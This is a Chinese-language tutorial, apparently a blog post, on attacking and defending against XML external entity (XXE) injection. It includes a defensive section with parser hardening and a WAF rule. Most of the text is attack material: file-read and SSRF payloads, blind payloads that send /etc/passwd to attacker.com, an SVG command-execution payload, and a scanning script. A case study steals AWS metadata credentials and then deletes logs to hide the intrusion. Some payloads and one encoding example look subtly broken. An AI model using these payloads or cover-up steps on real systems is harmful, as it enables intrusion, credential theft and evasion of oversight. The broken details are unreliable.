XXE漏洞攻防：从原理到实战的全面解析-代码聚汇网

XXE漏洞攻防：从原理到实战的全面解析

执笔画书生·2026-07-30·阅读 64 GEO检测（免费）

XXE漏洞XML外部实体注入Web安全

|难度：普通|阅读约 10 分钟

1. XXE漏洞的本质与危害边界

XXE（XML External Entity）漏洞本质上是一种利用XML解析器处理外部实体时的安全缺陷。当应用程序解析用户可控的XML输入时，如果未禁用外部实体引用，攻击者就能构造恶意XML文件读取服务器敏感文件、发起SSRF攻击甚至实现远程代码执行。

我在实际渗透测试中发现，许多开发团队对XXE的认知仍停留在"只能读取/etc/passwd"的层面。事实上，现代XXE攻击已发展出多种变体：

传统文件读取：通过file://协议获取服务器文件

xml复制<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

SSRF攻击：利用http://协议探测内网服务

xml复制<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1/admin"> ]>

盲注XXE：当响应不可见时通过外带通道泄露数据

xml复制<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

参数实体攻击：绕过某些过滤机制

xml复制<!DOCTYPE foo [
  <!ENTITY % pe SYSTEM "file:///etc/passwd">
  %pe;
]>

关键教训：XXE的危害远不止文件读取，在云原生环境中可能通过元数据服务获取IAM凭证，进而接管整个云环境。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 深度探测：如何发现隐蔽的XXE入口点

2.1 非典型XXE载体识别

大多数工程师只测试显式的XML输入点，但实际业务中XXE可能隐藏在：

文件格式转换：Word/Excel转PDF服务常使用XML中间格式
SOAP API：遗留系统仍在广泛使用SOAP协议
SVG图片上传：SVG本质是XML格式的图像
Office Open XML：docx/xlsx本质是ZIP打包的XML文件
自定义协议：某些IoT设备使用XML格式的配置导入

我曾通过上传恶意SVG文件成功突破过一家电商网站的防御：

xml复制<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="300">
  <image xlink:href="expect://id"></image>
</svg>

2.2 自动化探测技巧

手工测试效率低下，推荐组合使用这些工具：

XXEinjector（Ruby）

bash复制ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=test.xml --oob=http

Burp Collaborator配合Intruder

使用Collaborator生成唯一域名
在Intruder中批量替换ENTITY声明
监控DNS/HTTP请求记录

自定义Python探测脚本

python复制import requests

xxe_payloads = [
    '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
    '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>'
]

for payload in xxe_payloads:
    r = requests.post(target_url, data=payload, headers={'Content-Type': 'application/xml'})
    if "root:x:" in r.text:
        print("[+] Vulnerable with payload:", payload)

3. 高级绕过技术：对抗WAF与输入过滤

3.1 编码混淆技术

当遇到关键词过滤时，可以尝试：

十六进制编码：file:// → file://
UTF-7编码：+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM+ACI-file:///etc/passwd+ACI +AD4 +AC4-
CDATA包裹：<![CDATA[<!ENTITY % xxe SYSTEM "file:///etc/passwd">]]>

3.2 协议切换技巧

不同协议在不同环境中的可用性：

协议	适用场景	示例
file://	本地文件读取	file:///etc/passwd
http://	SSRF攻击	http://169.254.169.254
php://	PHP伪协议读取源码	php://filter/convert.base64-encode/resource=index.php
expect://	命令执行（需安装扩展）	expect://id
jar://	解压ZIP文件	jar:file:///var/www/html/test.zip!/META-INF/manifest.mf

3.3 盲注XXE的三种外带方式

当目标不返回数据时：

DNS外带（最可靠）

xml复制<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://%file;.attacker.com/'>">

HTTP外带（需目标出网）

xml复制<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'http://attacker.com/?data=%payload;'>">

FTP外带（某些环境可用）

xml复制<!ENTITY % exfil SYSTEM "ftp://attacker.com/%file;">

4. 防御体系构建：从开发到运维的全链路防护

4.1 开发层防护

禁用DTD（最彻底方案）：

java复制// Java示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

白名单过滤（当必须使用DTD时）：

python复制# Python lxml安全配置
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

4.2 运维层加固

WAF规则配置（以ModSecurity为例）：

code复制SecRule REQUEST_HEADERS:Content-Type "@rx text/xml|application/xml" \
  "id:1000,phase:1,t:none,t:lowercase,block,msg:'XXE Attack Detected', \
  chain"
SecRule REQUEST_BODY "@rx <!ENTITY.*?SYSTEM" \
  "t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase"

网络隔离策略：

禁止XML解析器访问元数据服务（169.254.169.254）
限制服务器出站连接（防止数据外泄）
容器环境中使用只读文件系统

4.3 安全测试方案

自动化扫描集成：

在CI/CD管道中加入XXE检测：

yaml复制# GitLab CI示例
stages:
  - security
xxe_scan:
  stage: security
  image: owasp/zap2docker-stable
  script:
    - zap-baseline.py -t $URL -r report.html
  artifacts:
    paths: [report.html]

定期红蓝对抗演练：

使用XXEinjector模拟攻击
监控SOC告警是否触发
测试WAF规则有效性

5. 实战案例：从漏洞发现到权限提升

某金融系统渗透测试实录：

入口点发现：

通过Burp扫描发现PDF生成服务接收XML输入
原始请求：

http复制POST /generate-pdf HTTP/1.1
Content-Type: application/xml

<report>
  <title>Monthly Statement</title>
  <content>...</content>
</report>

漏洞探测：

修改Content-Type为application/xml;charset=utf-16
插入测试payload：

xml复制<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<report>
  <title>&xxe;</title>
</report>

权限提升：

读取AWS元数据获取临时凭证：

xml复制<!ENTITY % creds SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY % exfil SYSTEM "http://attacker.com/?data=%creds;">

利用凭证操作S3存储桶

痕迹清理：

删除访问日志
使用CloudTrail日志混淆技术

关键发现：该系统虽然部署了WAF，但未检测Content-Type编码变更，且XML解析器版本过旧（libxml2 2.9.4），存在已知漏洞。